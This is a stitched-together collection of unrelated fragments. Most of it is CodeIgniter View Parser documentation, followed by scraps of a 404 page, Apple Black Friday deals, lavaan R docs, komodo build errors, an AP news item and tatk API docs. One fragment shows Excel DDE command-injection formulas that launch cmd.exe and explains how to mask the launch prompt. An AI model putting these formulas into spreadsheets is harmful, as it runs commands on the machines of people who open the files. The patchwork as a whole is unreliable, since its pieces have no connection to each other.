View Parser
The View Parser can perform simple text substitution for pseudo-variables contained within your view files. It can parse simple variables or variable tag pairs.
Pseudo-variable names or control constructs are enclosed in braces, like this:

<title>{blog_title}</title>

{blog_heading}

{blog_entries}

{title}

{body}

{/blog_entries}

These variables are not actual PHP variables, but rather plain text representations that allow you to eliminate PHP from your templates (view files).
Note
CodeIgniter does not require you to use this class since using pure PHP in your view pages (for instance using the View renderer ) lets them run a little faster. However, some developers prefer to use some form of template engine if they work with designers who they feel would find some confusion working with PHP.
Using the View Parser Class
The simplest method to load the parser class is through its service:
<?php
$parser = \Config\Services::parser();
Alternately, if you are not using the Parser
class as your default renderer, you
can instantiate it directly:
<?php
$parser = new \CodeIgniter\View\Parser();
Then you can use any of the three standard rendering methods that it provides:
render()
, setVar()
and
setData()
. You will also be able to specify delimiters directly,
through the setDelimiters()
method.
Important
Using the Parser
, your view templates are processed only by the Parser
itself, and not like a conventional view PHP script. PHP code in such a script
is ignored by the parser, and only substitutions are performed.
This is purposeful: view files with no PHP.
What It Does
The Parser
class processes “PHP/HTML scripts” stored in the application’s view path.
These scripts can not contain any PHP.
Each view parameter (which we refer to as a pseudo-variable) triggers a substitution, based on the type of value you provided for it. Pseudo-variables are not extracted into PHP variables; instead their value is accessed through the pseudo-variable syntax, where its name is referenced inside braces.
The Parser class uses an associative array internally, to accumulate pseudo-variable
settings until you call its render()
. This means that your pseudo-variable names
need to be unique, or a later parameter setting will over-ride an earlier one.
This also impacts escaping parameter values for different contexts inside your script. You will have to give each escaped value a unique parameter name.
Parser templates
You can use the render()
method to parse (or render) simple templates,
like this:
<?php
$data = [
'blog_title' => 'My Blog Title',
'blog_heading' => 'My Blog Heading',
];
return $parser->setData($data)->render('blog_template');
View parameters are passed to setData()
as an associative
array of data to be replaced in the template. In the above example, the
template would contain two variables: {blog_title}
and {blog_heading}
The first parameter to render()
contains the name of the view
file, Where blog_template is the name of your view file.
Important
If the file extension is omitted, then the views are expected to end with the .php extension.
Parser Configuration Options
Several options can be passed to the render()
or renderString()
methods.
cache
- the time in seconds, to save a view’s results; ignored for renderString()cache_name
- the ID used to save/retrieve a cached view result; defaults to the viewpath; ignored for renderString()saveData
- true if the view data parameters should be retained for subsequent calls; default is truecascadeData
- true if pseudo-variable settings should be passed on to nested substitutions; default is true
<?php
return $parser->render('blog_template', [
'cache' => HOUR,
'cache_name' => 'something_unique',
]);
Substitution Variations
There are three types of substitution supported: simple, looping, and nested. Substitutions are performed in the same sequence that pseudo-variables were added.
The simple substitution performed by the parser is a one-to-one replacement of pseudo-variables where the corresponding data parameter has either a scalar or string value, as in this example:
<?php
$template = '<title>{blog_title}</title>';
$data = ['blog_title' => 'My ramblings'];
return $parser->setData($data)->renderString($template);
// Result: <title>My ramblings</title>
The Parser
takes substitution a lot further with “variable pairs”,
used for nested substitutions or looping, and with some advanced
constructs for conditional substitution.
When the parser executes, it will generally
handle any conditional substitutions
handle any nested/looping substitutions
handle the remaining single substitutions
Loop Substitutions
A loop substitution happens when the value for a pseudo-variable is a sequential array of arrays, like an array of row settings.
The above example code allows simple variables to be replaced. What if you would like an entire block of variables to be repeated, with each iteration containing new values? Consider the template example we showed at the top of the page:

<title>{blog_title}</title>

{blog_heading}

{blog_entries}

{title}

{body}

{/blog_entries}

In the above code you’ll notice a pair of variables: {blog_entries}
data… {/blog_entries}
. In a case like this, the entire chunk of data
between these pairs would be repeated multiple times, corresponding to
the number of rows in the “blog_entries” element of the parameters array.
Parsing variable pairs is done using the identical code shown above to parse single variables, except, you will add a multi-dimensional array corresponding to your variable pair data. Consider this example:
<?php
$data = [
'blog_title' => 'My Blog Title',
'blog_heading' => 'My Blog Heading',
'blog_entries' => [
['title' => 'Title 1', 'body' => 'Body 1'],
['title' => 'Title 2', 'body' => 'Body 2'],
['title' => 'Title 3', 'body' => 'Body 3'],
['title' => 'Title 4', 'body' => 'Body 4'],
['title' => 'Title 5', 'body' => 'Body 5'],
],
];
return $parser->setData($data)->render('blog_template');
The value for the pseudo-variable blog_entries
is a sequential
array of associative arrays. The outer level does not have keys associated
with each of the nested “rows”.
If your “pair” data is coming from a database result, which is already a
multi-dimensional array, you can simply use the database getResultArray()
method:
<?php
$query = $db->query('SELECT * FROM blog');
$data = [
'blog_title' => 'My Blog Title',
'blog_heading' => 'My Blog Heading',
'blog_entries' => $query->getResultArray(),
];
return $parser->setData($data)->render('blog_template');
If the array you are trying to loop over contains objects instead of arrays,
the parser will first look for an asArray()
method on the object. If it exists,
that method will be called and the resulting array is then looped over just as
described above. If no asArray()
method exists, the object will be cast as
an array and its public properties will be made available to the Parser.
This is especially useful with the Entity classes, which has an asArray()
method
that returns all public and protected properties (minus the _options property) and
makes them available to the Parser.
Nested Substitutions
A nested substitution happens when the value for a pseudo-variable is an associative array of values, like a record from a database:
<?php
$data = [
'blog_title' => 'My Blog Title',
'blog_heading' => 'My Blog Heading',
'blog_entries' => [
[
'title' => 'Title 1',
'body' => 'Body 1',
],
],
];
return $parser->setData($data)->render('blog_template');
The value for the pseudo-variable blog_entries
is an associative
array. The key/value pairs defined inside it will be exposed inside
the variable pair loop for that variable.
A blog_template.php that might work for the above:

{blog_title} - {blog_heading}

{blog_entries}

{title}

{body}

{/blog_entries}
If you would like the other pseudo-variables accessible inside the blog_entries
scope, then make sure that the cascadeData
option is set to true.
Cascading Data
With both a nested and a loop substitution, you have the option of cascading data pairs into the inner substitution.
The following example is not impacted by cascading:
<?php
$template = '{name} lives in {locations}{city} on {planet}{/locations}.';
$data = [
'name' => 'George',
'locations' => [
['city' => 'Red City', 'planet' => 'Mars'],
],
];
return $parser->setData($data)->renderString($template);
// Result: George lives in Red City on Mars.
This example gives different results, depending on cascading:
<?php
$template = '{locations}{name} lives in {city} on {planet}{/locations}.';
$data = [
'name' => 'George',
'locations' => [
['city' => 'Red City', 'planet' => 'Mars'],
],
];
return $parser->setData($data)->renderString($template, ['cascadeData' => false]);
// Result: {name} lives in Red City on Mars.
// or
return $parser->setData($data)->renderString($template, ['cascadeData' => true]);
// Result: George lives in Red City on Mars.
Preventing Parsing
You can specify portions of the page to not be parsed with the {noparse}
{/noparse}
tag pair. Anything in this
section will stay exactly as it is, with no variable substitution, looping, etc, happening to the markup between the brackets.
{noparse}

Untouched Code

{/noparse}
Conditional Logic
The Parser class supports some basic conditionals to handle if
, else
, and elseif
syntax. All if
blocks must be closed with an endif
tag:
{if $role=='admin'}

Welcome, Admin!

{endif}
This simple block is converted to the following during parsing:
<?php if ($role === 'admin'): ?>

Welcome, Admin!

<?php endif ?>
All variables used within if statements must have been previously set with the same name. Other than that, it is
treated exactly like a standard PHP conditional, and all standard PHP rules would apply here. You can use any
of the comparison operators you would normally, like ==
, ===
, !==
, <
, >
, etc.
{if $role=='admin'}

Welcome, Admin

{elseif $role=='moderator'}

Welcome, Moderator

{else}

Welcome, User

{endif}
Warning
In the background, conditionals are parsed using an eval()
, so you must ensure that you take
care with the user data that is used within conditionals, or you could open your application up to security risks.
Changing the Conditional Delimiters
If you have JavaScript code like the following in your templates, the Parser raises a syntax error because there are strings that can be interpreted as a conditional:

In that case, you can change the delimiters for conditionals with the setConditionalDelimiters()
method to avoid misinterpretations:
<?php
$parser->setConditionalDelimiters('{%', '%}');
In this case, you will write code in your template:
{% if $role=='admin' %}

Welcome, Admin

{% else %}

Welcome, User

{% endif %}
Escaping Data
By default, all variable substitution is escaped to help prevent XSS attacks on your pages. CodeIgniter’s esc()
method
supports several different contexts, like general html
, when it’s in an HTML attr
, in css
, etc. If nothing
else is specified, the data will be assumed to be in an HTML context. You can specify the context used by using the esc()
filter:
{ user_styles | esc(css) }
{ title }
There will be times when you absolutely need something to used and NOT escaped. You can do this by adding exclamation marks to the opening and closing braces:
{! unescaped_var !}
Filters
Any single variable substitution can have one or more filters applied to it to modify the way it is presented. These
are not intended to drastically change the output, but provide ways to reuse the same variable data but with different
presentations. The esc
filter discussed above is one example. Dates are another common use case, where you might
need to format the same data differently in several sections on the same page.
Filters are commands that come after the pseudo-variable name, and are separated by the pipe symbol, |
:
// -55 is displayed as 55
{ value|abs }
If the parameter takes any arguments, they must be separated by commas and enclosed in parentheses:
{ created_at|date(Y-m-d) }
Multiple filters can be applied to the value by piping multiple ones together. They are processed in order, from left to right:
{ created_at|date_modify(+5 days)|date(Y-m-d) }
Provided Filters
The following filters are available when using the parser:
Filter |
Arguments |
Description |
Example |
|---|---|---|---|
abs |
Displays the absolute value of a number. |
{ v|abs } |
|
capitalize |
Displays the string in sentence case: all lowercase with firstletter capitalized. |
{ v|capitalize} |
|
date |
format (Y-m-d) |
A PHP date-compatible formatting string. |
{ v|date(Y-m-d) } |
date_modify |
value to add / subtract |
A strtotime compatible string to modify the date,
like |
{ v|date_modify(+1 day) } |
default |
default value |
Displays the default value if the variable is empty or undefined. |
{ v|default(just in case) } |
esc |
html, attr, css, js |
Specifies the context to escape the data. |
{ v|esc(attr) } |
excerpt |
phrase, radius |
Returns the text within a radius of words from a given phrase. Same as excerpt helper function. |
{ v|excerpt(green giant, 20) } |
highlight |
phrase |
Highlights a given phrase within the text using ‘’ tags. |
{ v|highlight(view parser) } |
highlight_code |
Highlights code samples with HTML/CSS. |
{ v|highlight_code } |
|
limit_chars |
limit |
Limits the number of characters to $limit. |
{ v|limit_chars(100) } |
limit_words |
limit |
Limits the number of words to $limit. |
{ v|limit_words(20) } |
local_currency |
currency, locale, fraction |
Displays a localized version of a currency. “currency” valueis any 3-letter ISO 4217 currency code. |
{ v|local_currency(EUR,en_US) } |
local_number |
type, precision, locale |
Displays a localized version of a number. “type” can be one of: decimal, currency, percent, scientific, spellout, ordinal, duration. |
{ v|local_number(decimal,2,en_US) } |
lower |
Converts a string to lowercase. |
{ v|lower } |
|
nl2br |
Replaces all newline characters (n) to an HTML
 tag. |
{ v|nl2br } |
|
number_format |
places |
Wraps PHP number_format function for use within the parser. |
{ v|number_format(3) } |
prose |
Takes a body of text and uses the auto_typography() method to turn it into prettier, easier-to-read, prose. |
{ v|prose } |
|
round |
places, type |
Rounds a number to the specified places. Types of ceil and floor can be passed to use those functions instead. |
{ v|round(3) } { v|round(ceil) } |
strip_tags |
allowed chars |
Wraps PHP strip_tags. Can accept a string of allowed tags. |
{ v|strip_tags(
) } |
title |
Displays a “title case” version of the string, with all lowercase, and each word capitalized. |
{ v|title } |
|
upper |
Displays the string in all uppercase. |
{ v|upper } |
See PHP’s NumberFormatter for details relevant to the “local_number” filter.
Custom Filters
You can easily create your own filters by editing app/Config/View.php and adding new entries to the
$filters
array. Each key is the name which the filter is called by in the view, and its value is any valid PHP
callable:
<?php
namespace Config;
use CodeIgniter\Config\View as BaseView;
class View extends BaseView
{
public $filters = [
'foo' => '\Some\Class::methodName',
'str_repeat' => 'str_repeat', // native php function
];
// ...
}
Parser Plugins
Plugins allow you to extend the parser, adding custom features for each project. They can be any PHP callable, making
them very simple to implement. Within templates, plugins are specified by {+ +}
tags:
{+ foo +} inner content {+ /foo +}
This example shows a plugin named foo. It can manipulate any of the content between its opening and closing tags. In this example, it could work with the text ” inner content “. Plugins are processed before any pseudo-variable replacements happen.
While plugins will often consist of tag pairs, like shown above, they can also be a single tag, with no closing tag:
{+ foo +}
Opening tags can also contain parameters that can customize how the plugin works. The parameters are represented as key/value pairs:
{+ foo bar=2 baz="x y" +}
Parameters can also be single values:
{+ include somefile.php +}
Provided Plugins
The following plugins are available when using the parser:
Plugin |
Arguments |
Description |
Example |
|---|---|---|---|
current_url |
Alias for the current_url helper function. |
{+ current_url +} |
|
previous_url |
Alias for the previous_url helper function. |
{+ previous_url +} |
|
siteURL |
Alias for the site_url helper function. |
{+ siteURL “login” +} |
|
mailto |
email, title, attributes |
Alias for the mailto helper function. |
{+ mailto<EMAIL_ADDRESS>title=”Stranger Things” +} |
safe_mailto |
email, title, attributes |
Alias for the safe_mailto helper function. |
{+ safe_mailto<EMAIL_ADDRESS>title=”Stranger Things” +} |
lang |
language string |
Alias for the lang helper function. |
{+ lang number.terabyteAbbr +} |
validation_errors |
fieldname(optional) |
Returns either error string for the field (if specified) or all validation errors. |
{+ validation_errors +} , {+ validation_errors field=”email” +} |
route |
route name |
Alias for the route_to helper function. |
{+ route “login” +} |
csp_script_nonce |
Alias for the csp_script_nonce helper function. |
{+ csp_script_nonce +} |
|
csp_style_nonce |
Alias for the csp_style_nonce helper function. |
{+ csp_style_nonce +} |
Registering a Plugin
At its simplest, all you need to do to register a new plugin and make it ready for use is to add it to the
app/Config/View.php, under the $plugins
array. The key is the name of the plugin that is
used within the template file. The value is any valid PHP callable, including static class methods:
<?php
namespace Config;
use CodeIgniter\Config\View as BaseView;
class View extends BaseView
{
public $plugins = [
'foo' => '\Some\Class::methodName',
];
// ...
}
You can also use closures, but these can only be defined in the config file’s constructor:
<?php
namespace Config;
use CodeIgniter\Config\View as BaseView;
class View extends BaseView
{
public $plugins = [];
public function __construct()
{
$this->plugins['bar'] = static fn (array $params = []) => $params[0] ?? '';
parent::__construct();
}
// ...
}
If the callable is on its own, it is treated as a single tag, not a open/close one. It will be replaced by the return value from the plugin:
<?php
namespace Config;
use CodeIgniter\Config\View as BaseView;
class View extends BaseView
{
public $plugins = [
'foo' => '\Some\Class::methodName',
];
// ...
}
/*
* Tag is replaced by the return value of Some\Class::methodName() static function.
* {+ foo +}
*/
If the callable is wrapped in an array, it is treated as an open/close tag pair that can operate on any of the content between its tags:
<?php
namespace Config;
use CodeIgniter\Config\View as BaseView;
class View extends BaseView
{
public $plugins = [
'foo' => ['\Some\Class::methodName'],
];
// ...
}
// {+ foo +} inner content {+ /foo +}
Usage Notes
If you include substitution parameters that are not referenced in your template, they are ignored:
<?php
$template = 'Hello, {firstname} {lastname}';
$data = [
'title' => 'Mr',
'firstname' => 'John',
'lastname' => 'Doe',
];
return $parser->setData($data)->renderString($template);
// Result: Hello, John Doe
If you do not include a substitution parameter that is referenced in your template, the original pseudo-variable is shown in the result:
<?php
$template = 'Hello, {firstname} {initials} {lastname}';
$data = [
'title' => 'Mr',
'firstname' => 'John',
'lastname' => 'Doe',
];
return $parser->setData($data)->renderString($template);
// Result: Hello, John {initials} Doe
If you provide a string substitution parameter when an array is expected, i.e., for a variable pair, the substitution is done for the opening variable pair tag, but the closing variable pair tag is not rendered properly:
<?php
$template = 'Hello, {firstname} {lastname} ({degrees}{degree} {/degrees})';
$data = [
'degrees' => 'Mr',
'firstname' => 'John',
'lastname' => 'Doe',
'titles' => [
['degree' => 'BSc'],
['degree' => 'PhD'],
],
];
return $parser->setData($data)->renderString($template);
// Result: Hello, John Doe (Mr{degree} {/degrees})
View Fragments
You do not have to use variable pairs to get the effect of iteration in your views. It is possible to use a view fragment for what would be inside a variable pair, and to control the iteration in your controller instead of in the view.
An example with the iteration controlled in the view:
$template = '
{menuitems}

{title}

{/menuitems}
';
$data = [
'menuitems' => [
['title' => 'First Link', 'link' => '/first'],
['title' => 'Second Link', 'link' => '/second'],
]
];
return $parser->setData($data)->renderString($template);
Result:

First Link

Second Link

An example with the iteration controlled in the controller, using a view fragment:
<?php
$temp = '';
$template1 = '
{title}
';
$data1 = [
['title' => 'First Link', 'link' => '/first'],
['title' => 'Second Link', 'link' => '/second'],
];
foreach ($data1 as $menuItem) {
$temp .= $parser->setData($menuItem)->renderString($template1);
}
$template2 = '
{menuitems}
';
$data = [
'menuitems' => $temp,
];
return $parser->setData($data)->renderString($template2);
Result:

First Link

Second Link

Class Reference
- class CodeIgniter\View\Parser
- render($view[, $options[, $saveData]])
- Parameters
$view (
string
) – File name of the view source$options (
array
) – Array of options, as key/value pairs$saveData (
boolean
) – If true, will save data for use with any other calls, if false, will clean the data after rendering the view.
- Returns
The rendered text for the chosen view
- Return type
string
Builds the output based upon a file name and any data that has already been set:
<?php return $parser->render('myview');
Options supported:
cache
- the time in seconds, to save a view’s resultscache_name
- the ID used to save/retrieve a cached view result; defaults to the viewpathcascadeData
- true if the data pairs in effect when a nested or loop substitution occurs should be propagatedsaveData
- true if the view data parameter should be retained for subsequent calls
Any conditional substitutions are performed first, then remaining substitutions are performed for each data pair.
- renderString($template[, $options[, $saveData]])
- Parameters
$template (
string
) – View source provided as a string$options (
array
) – Array of options, as key/value pairs$saveData (
boolean
) – If true, will save data for use with any other calls, if false, will clean the data after rendering the view.
- Returns
The rendered text for the chosen view
- Return type
string
Builds the output based upon a provided template source and any data that has already been set:
<?php return $parser->renderString('

Item 1

Item 2

');
Options supported, and behavior, as above.
- setData([$data[, $context = null]])
- Parameters
$data (
array
) – Array of view data strings, as key/value pairs$context (
string
) – The context to use for data escaping.
- Returns
The Renderer, for method chaining
- Return type
CodeIgniter\View\RendererInterface.
Sets several pieces of view data at once:
<?php $parser->setData(['name' => 'George', 'position' => 'Boss']);
Supported escape contexts: html, css, js, url, or attr or raw. If ‘raw’, no escaping will happen.
- setVar($name[, $value = null[, $context = null]])
- Parameters
$name (
string
) – Name of the view data variable$value (
mixed
) – The value of this view data$context (
string
) – The context to use for data escaping.
- Returns
The Renderer, for method chaining
- Return type
CodeIgniter\View\RendererInterface.
Sets a single piece of view data:
<?php $parser->setVar('name', 'Joe', 'html');
Supported escape contexts: html, css, js, url, attr or raw. If ‘raw’, no escaping will happen.
- setDelimiters($leftDelimiter = '{', $rightDelimiter = '}')
- Parameters
$leftDelimiter (
string
) – Left delimiter for substitution fields$rightDelimiter (
string
) – right delimiter for substitution fields
- Returns
The Renderer, for method chaining
- Return type
CodeIgniter\View\RendererInterface.
Override the substitution field delimiters:
<?php $parser->setDelimiters('[', ']');
- setConditionalDelimiters($leftDelimiter = '{', $rightDelimiter = '}')
- Parameters
$leftDelimiter (
string
) – Left delimiter for conditionals$rightDelimiter (
string
) – right delimiter for conditionals
- Returns
The Renderer, for method chaining
- Return type
CodeIgniter\View\RendererInterface.
Override the conditional delimiters:
<?php $parser->setConditionalDelimiters('{%', '%}');
Comments
You can place comments in your templates that will be ignored and removed during parsing by wrapping the comments in a
{# #}
symbols.


--- title: 404 description: Uh Oh layout: docwithnav permalink: /404.html ---
Sorry, this page doesn't exist.
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Command injection in Exel documents is as simple as:
=cmd|'/c notepad.exe'!_xlbgnm.A1
This will launch a prompt to start the application, however, it can be masked slightly by using this modified formula:
=EXCEL|'\..\..\..\Windows\System32\cmd.exe /c notepad.exe'!_xlbgnm.A1
should show: "Start application EXCEL.EXE -X"?


UPDATE RECORD
Select Meter to Edit Value Recorded
Developed by IPGS
UPDATE RECORD
Result:
Developed by IPGS


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It is home to over 31,000 students from 146 countries, drawn by the excellent standards for teaching and research,
and is one of only 19 UK universities to appear in the top 100 of the QS world rankings in 2014.


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Plain of Tears [as32], plain, in Mandoria, peasants: 130
Last updated Turn #124
Plain of Tears [as32], plain, in Mandoria, peasants: 130
------------------------------------------------------------------------
17: Shade [j2p], refugee, arrived from the north.
23: Shade [j2p], refugee, went south.
30: The population grows by one peasant.
Routes leaving Plain of Tears:
North, plain, to Plain of Tears [ar32], 7 days
Garrison [bj6y], garrison, uncontrolled, with ten peasants
East, plain, to Plain of Tears [as33], 7 days
Garrison [ia6q], garrison, uncontrolled, with ten peasants
South, plain, to Plain of Tears [at32], 7 days
Garrison [hx3i], garrison, uncontrolled, with ten peasants
West, plain, to Plain of Tears [as31], 7 days
Garrison [jo3e], garrison, uncontrolled, with ten peasants
Inner locations:
Poppy field [ae0o], poppy field, 1 day, owner:
Harpie [gb6d], harpies, number: 17
Seen here:
Stack of wights [hy5y], wights, number: 34
Wild men [hx5r], savages, number: 35
Wild men [dr5u], savages, number: 18


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Best Apple Black Friday deals with iPhones and AirPods already out in 2019
The Black Friday bonanza is nearly upon us and it’s quite right to think you could pick up some Apple gear on the cheap.
Unfortunately, because Apple is about as big as it gets when talking about consumer technology – it goes about Black Friday a little differently.
Last year, for example, rather than reduce its products, it offered incentives when you bought them at regular price.
Pick up an iPhone, for example, and you got a £40 Apple Store Gift Card. That rose to £80 if you buy an iPad. You get the idea: Apple doesn’t have to play by the standard rulebook.
It also doesn’t tend to reveal any red hot offers ahead of time and we’re still a good week away from Black Friday proper.
Thankfully, there are plenty of other retailers happy to discount the tech company’s gadgets.
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So if you’re desperate for some Apple swag, check out these handy deals…
Apple Airpods with Wireless Charging Case was £199 now £169
Apple iPhone 8 (64 GB) – Space Grey was £599 now £479
Apple Watch Series 3 was £279 now £199
2018 Apple MacBook Pro 13″ Touch Bar Intel Core 5, 8GB RAM, 256GB SSD was £1,569 now £1,329


| getCov {lavaan} | R Documentation |
Convenience functions to deal with covariance and correlation matrices.
getCov(x, lower = TRUE, diagonal = TRUE, sds = NULL, names = paste("V", 1:nvar, sep="")) char2num(s) cor2cov(R, sds, names = NULL)
x |
The elements of the covariance matrix. Either inside a character
string or as a numeric vector. In the former case, the function
|
lower |
Logical. If |
diagonal |
Logical. If |
sds |
A numeric vector containing the standard deviations to be
used to scale the elements in |
names |
The variable names of the observed variables. |
s |
Character string containing numeric values; comma's and semi-colons are ignored. |
R |
A correlation matrix, to be scaled into a covariance matrix. |
The getCov
function is typically used to input the lower
(or upper) triangular elements of a (symmetric) covariance matrix. In many
examples found in handbooks, only those elements are shown. However, lavaan
needs a full matrix to proceed.
The cor2cov
function is the inverse of the cov2cor
function, and scales a correlation matrix into a covariance matrix given
the standard deviations of the variables. Optionally, variable names can
be given.
# The classic Wheaton et. al. (1977) model # panel data on he stability of alienation lower <- ' 11.834, 6.947, 9.364, 6.819, 5.091, 12.532, 4.783, 5.028, 7.495, 9.986, -3.839, -3.889, -3.841, -3.625, 9.610, -21.899, -18.831, -21.748, -18.775, 35.522, 450.288 ' # convert to a full symmetric covariance matrix with names wheaton.cov <- getCov(lower, names=c("anomia67","powerless67", "anomia71", "powerless71","education","sei")) # the model wheaton.model <- ' # measurement model ses =~ education + sei alien67 =~ anomia67 + powerless67 alien71 =~ anomia71 + powerless71 # equations alien71 ~ alien67 + ses alien67 ~ ses # correlated residuals anomia67 ~~ anomia71 powerless67 ~~ powerless71 ' # fitting the model fit <- sem(wheaton.model, sample.cov=wheaton.cov, sample.nobs=932) # showing the results summary(fit, standardized=TRUE)


A front-end focused web development project where the owner approached me with the idea of a landing page for the company. I began by sketching out wireframes for the site, and showing these to the owner to get their feedback. Once the layout decision was made, I created a mockup of the site in Adobe XD and sent it to the owner for feedback. I then implemented the owner's feedback into the final mockup and developed the site HTML, CSS, Bootstrap, and JQuery.


Effective Date: March 2014
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I get some errors building collect2: error: ld returned 1 exit status
Makefile:2207: recipe for target 'komodod' failed
make[2]: *** [komodod] Error 1
make[2]: *** Waiting for unfinished jobs....
libcc.so: In function `flushkeystrokes(rogue_state*)':
cclib.cpp:(.text+0x1d7a9): undefined reference to `rogue_progress(rogue_state*, unsigned long, char*, int)'
libcc.so: In function `rogue(int, char**, char**)':
cclib.cpp:(.text+0x1dec1): undefined reference to `Gametxidstr'
cclib.cpp:(.text+0x1ded4): undefined reference to `Gametxidstr'
cclib.cpp:(.text+0x1dedf): undefined reference to `rogue_setplayerdata(rogue_state*, char*)'
collect2: error: ld returned 1 exit status
Makefile:2199: recipe for target 'komodo-test' failed
make[2]: *** [komodo-test] Error 1
make[2]: Leaving directory '/root/komodo/src'
Makefile:4989: recipe for target 'all-recursive' failed
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory '/root/komodo/src'
Makefile:659: recipe for target 'all-recursive' failed
make: *** [all-recursive] Error 1


Republican lawmaker files lawsuit against Evers over records
MADISON, Wis. (AP) - The Republican co-chair of the Legislature’s budget committee has filed a lawsuit seeking to force Gov. Tony Evers to release records related to the funding of farmer mental health programs.
Rep. John Nygren, of Marinette, filed the lawsuit Tuesday in Dane County Circuit Court. Evers’ spokeswoman Melissa Baldauff declined immediate comment because the governor had not yet been served with the lawsuit.
The lawsuit continues a fight between the Republican-controlled Legislature and the Democrat Evers over $100,000 in funding for farmer mental health programs.
The state agriculture department requested the Legislature’s budget committee release the funding in July. In August, Nygren filed open records requests with both the agency and Evers seeking records covering nine subject areas related to the request.
Nygren says in the lawsuit Evers rejected his request as overly broad, while the agriculture department fulfilled it.
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tatk.policy.rule.camrest package¶
Submodules¶
tatk.policy.rule.camrest.policy_agenda_camrest module¶
-
class
tatk.policy.rule.camrest.policy_agenda_camrest.
Agenda
(goal: tatk.policy.rule.camrest.policy_agenda_camrest.Goal)¶ Bases:
object
-
__init__
(goal: tatk.policy.rule.camrest.policy_agenda_camrest.Goal)¶ Build a new agenda from goal Args:
goal (Goal): User goal.
-
close_session
()¶ Clear up all actions
-
get_action
(initiative=1)¶ get multiple acts based on initiative Args:
initiative (int): number of slots , just for ‘inform’
- Returns:
action (dict): user diaact
-
is_empty
()¶ Is the agenda already empty Returns:
(boolean): True for empty, False for not.
-
update
(sys_action, goal: tatk.policy.rule.camrest.policy_agenda_camrest.Goal)¶ update Goal by current agent action and current goal. { A’ + G” + sys_action -> A” } Args:
sys_action (tuple): Preorder system action.s goal (Goal): User Goal
-
update_domain
(diaact, slot_vals, goal: tatk.policy.rule.camrest.policy_agenda_camrest.Goal)¶ Handel Domain-XXX :param diaact: Dial-Act :param slot_vals: slot value pairs :param goal: Goal :return: True:user want to close the session. False:session is continue
-
-
class
tatk.policy.rule.camrest.policy_agenda_camrest.
Goal
(goal_generator: tatk.task.camrest.goal_generator.GoalGenerator)¶ Bases:
object
User Goal Model Class.
-
__init__
(goal_generator: tatk.task.camrest.goal_generator.GoalGenerator)¶ create new Goal by random Args:
goal_generator (GoalGenerator): Goal Gernerator.
-
next_domain_incomplete
()¶
-
task_complete
()¶ Check that all requests have been met Returns:
(boolean): True to accomplish.
-
-
class
tatk.policy.rule.camrest.policy_agenda_camrest.
UserPolicyAgendaCamrest
¶ Bases:
tatk.policy.policy.Policy
The rule-based user policy model by agenda. Derived from the UserPolicy class
-
__init__
()¶ Constructor for User_Policy_Agenda class.
-
get_goal
()¶
-
get_reward
()¶
-
init_session
()¶ Build new Goal and Agenda for next session
-
is_terminated
()¶
-
predict
(state)¶ Predict an user act based on state and preorder system action. Args:
state (tuple): Dialog state.
- Returns:
action (tuple): User act. session_over (boolean): True to terminate session, otherwise session continues. reward (float): Reward given by user.
-
-
tatk.policy.rule.camrest.policy_agenda_camrest.
test
()¶
-
tatk.policy.rule.camrest.policy_agenda_camrest.
test_turn
(user_simulator, sys_action)¶
-
tatk.policy.rule.camrest.policy_agenda_camrest.
test_with_system
()¶
tatk.policy.rule.camrest.rule module¶
-
class
tatk.policy.rule.camrest.rule.
Rule
(is_train=False, character='sys')¶ Bases:
tatk.policy.policy.Policy
-
__init__
(is_train=False, character='sys')¶ Initialize self. See help(type(self)) for accurate signature.
-
get_goal
()¶
-
get_reward
()¶
-
init_session
()¶ Restore after one session
-
is_terminated
()¶
-
predict
(state)¶ Predict an system action given state. Args:
state (dict): Dialog state. Please refer to util/state.py
- Returns:
action : System act, with the form of (act_type, {slot_name_1: value_1, slot_name_2, value_2, …})
-
tatk.policy.rule.camrest.rule_based_camrest_bot module¶
-
class
tatk.policy.rule.camrest.rule_based_camrest_bot.
RuleBasedCamrestBot
¶ Bases:
tatk.policy.policy.Policy
Rule-based bot. Implemented for Camrest dataset.
-
__init__
()¶ Initialize self. See help(type(self)) for accurate signature.
-
choice
= ''¶
-
init_session
()¶ Init the class variables for a new session.
-
predict
(state)¶ - Args:
State, please refer to util/state.py
- Output:
DA(Dialog Act), in the form of {act_type1: [[slot_name_1, value_1], [slot_name_2, value_2], …], …}
-
-
tatk.policy.rule.camrest.rule_based_camrest_bot.
check_diff
(last_state, state)¶
-
tatk.policy.rule.camrest.rule_based_camrest_bot.
deduplicate
(lst)¶
-
tatk.policy.rule.camrest.rule_based_camrest_bot.
fake_state
()¶
-
tatk.policy.rule.camrest.rule_based_camrest_bot.
generate_ref_num
(length)¶ Generate a ref num for booking.
-
tatk.policy.rule.camrest.rule_based_camrest_bot.
test_init_state
()¶
-
tatk.policy.rule.camrest.rule_based_camrest_bot.
test_run
()¶